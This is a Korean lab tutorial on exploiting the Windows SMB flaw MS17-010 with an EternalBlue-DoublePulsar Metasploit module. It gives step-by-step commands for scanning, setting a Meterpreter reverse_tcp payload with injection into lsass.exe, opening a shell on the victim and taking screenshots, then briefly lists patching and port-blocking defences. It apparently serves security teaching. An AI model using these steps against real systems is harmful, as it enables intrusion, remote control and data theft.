이터널블루는 Shadow Brokers 해킹 그룹에 의해 유출된 미국 국가 안보국의 해킹 도구 중 하나다. 윈도우가 설치된 시스템에 파일 공유, 원격 코드 실행, 프린트 공유 등을 목적으로 한 SMB 프로토콜 원격코드 실행 취약점(MS17-010)을 이용한다. 또한 2017년 5월 12일에는 전 세계 워너크라이 랜섬웨어 공격에도 이용되기도 했다. SMB 프로토콜은 TCP 포트 445에서 실행된다.
1. 이터널 블루 설치
그림 1-1 이터널 블루 설치
칼리 리눅스를 실행하고 git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git 명령어를 입력하고 이터널 블루를 설치한다.
그림 1-2 설치 완료
이터널 블루가 설치되면 Eternalblue-Doublepulsar-Metasploit 폴더가 생기고 Eternalblue-Doublepulsar-Metasploit 폴더 안을 보면eternalblue-doublepulsar.rb라는 루비로 만들어진 파일이 있다는 것을 확인할 수 있다.
그림 1-3 eternalblue-doublepulsar.rb 이동
이제 eternalblue-doublepulsar.rb 파일을 복사해서 메타스플로잇 프레임워크에 추가한다. cp eternalblue_doublepulsar.rb /usr/share/Metasploit-framework/modules/exploits/windows/smb/ 명령어를 입력하게 되면 eternalblue_doublepulsar.rb의 복사된 파일이 해당 경로의 메타스플로잇 프레임워크에 추가된다.
2. 취약점 실습 환경 구성
사용 환경 |
OS 및 IP 주소 |
공격자 PC |
Kali-linux 2019.02 IP 주소: 192.168.171.166 |
희생자 PC |
Window 7 x64 IP 주소: 192.168.171.167 |
3. 취약점 공격 수행
그림 3-1 nmap 실행
nmap을 실행해 window 7의 smb 포트(445/tcp microsoft-ds)가 열려 있는지 확인한다. TCP half open 스캔 결과 희생자 PC(window 7)에 smb 포트가 열려있다는 것을 확인할 수 있다.
그림 3-2 메타스플로잇 실행
공격자 PC인 칼리리눅스에서 공격을 위해 메타스플로잇을 실행한다. postgresql을 실행하고 msfconsole 명령어를 입력하면 메타스플로잇이 실행된다.
그림 3-4 smb_ms17_010 모듈 실행
smb 취약점을 확인하기 위해 smb_ms17_010 모듈을 실행한다. use auxiliary/scanner/smb/smb_ms17_010을 입력하면 모듈 실행이 가능하며 show options 명령어를 입력하면 그에 따른 옵션들의 확인이 가능하다.
그림 3-5 smb 취약점 여부 확인
smb_ms17_010 모듈이 실행된 상태에서 희생자 PC의 smb 취약점 여부를 확인하기 위해 희생자 PC의 IP를 set하고 run 명령어를 입력해 실행한다. run 명령어 실행 결과 현재 희생자 PC에는 MS17-010 취약점이 있다고 메시지가 나오게 된다. 반드시 그림 3-5와 같이 취약점이 생겨야 공격이 가능하기 때문에 환경 설정이 중요하다.
그림 3-6 이터널블루-더블펄서 모듈 실행
이제 exploit을 위해 이터널블루-더블펄서 모듈을 실행한다. use exploit/windows/smb/eternalblue-doublepulsar 명령어를 입력해 이터널블루-더블펄서를 실행한 후 show options를 입력해 해당 모듈의 옵션들을 확인해준다.
그림 3-7 옵션 지정
이터널블루-더블펄서 모듈을 실행하고 exploit을 위해 각각의 옵션을 지정한다. doublepulsarpath, eternalbluepath는 기본적으로 설정되어 있기 때문에 그림 3-7처럼 그대로 두고 다른 옵션을 지정하면 된다. 사용되는 명령어는 다음과 같다.
명령어 | 정의 |
set processinject lsass.exe | 주입할 프로세스 파일 지정, x64는 lsass.exe 사용 |
set rhost IP 주소 | 공격대상 IP 지정 |
set targetArchitecture x64 | 공격대상 아키텍쳐 지정 |
set target 8 | 공격 대상 OS 환경 지정 |
set payload windows/x64/meterpreter/reverse_tcp | 페이로드 생성 |
그림 3-8 공격 실행
payload 옵션에서 lhost를 지정한다. lhost는 공격자의 IP를 지정하면 되고 지정된 후 exploit을 실행한다. 공격이 성공적으로 실행되면 그림 3-8과 같이 Pwned! Eternalblue success! 메시지가 나오면서 Meterpreter 세션을 open하면서 희생자 PC와 연결된다. 여기서 한가지 변수가 있을 수 있는데 /root/.wine/drive_c/와 관련해서 에러가 발생할 수 있는데 이 땐 root에 .wine 이름으로 폴더를 만들고 .wine 폴더 안에 drive_c 이름으로 폴더를 만들고 다시 exploit을 실행하면 에러 없이 공격이 가능해진다.
그림 3-9 희생자 PC 제어
meterpreter 세션이 연결되고 희생자 PC의 제어가 가능하다. sysinfo 명령어를 실행하면 현재 희생자 PC의 환경, 아키텍쳐, 컴퓨터 이름 등을 확인할 수 있고 dir 명령어를 입력해 실행하면 현재 컴퓨터 안에 있는 파일들이 어떤게 있는지 확인이 가능하다. 만약 여기에 중요 파일이 있다면 2차적인 피해가 일어날 수 있다.
그림 3-10 스크린 샷
이번엔 screenshot 명령어를 사용해서 희생자 PC를 캡쳐한 결과다. 이렇듯 smb 포트 취약점 하나만으로도 여러가지 피해가 발생할 수 있다.
4. 보안 대책
- Window 7 이상의 운영체제로 버전을 업그레이드하고 최신 보안 패치를 적용한다.
- 네트워크 방화벽이나 window 방화벽을 활용해서 SMB 관련 포트 차단(방화벽 설정을 활용해 SMB 포트 비활성화)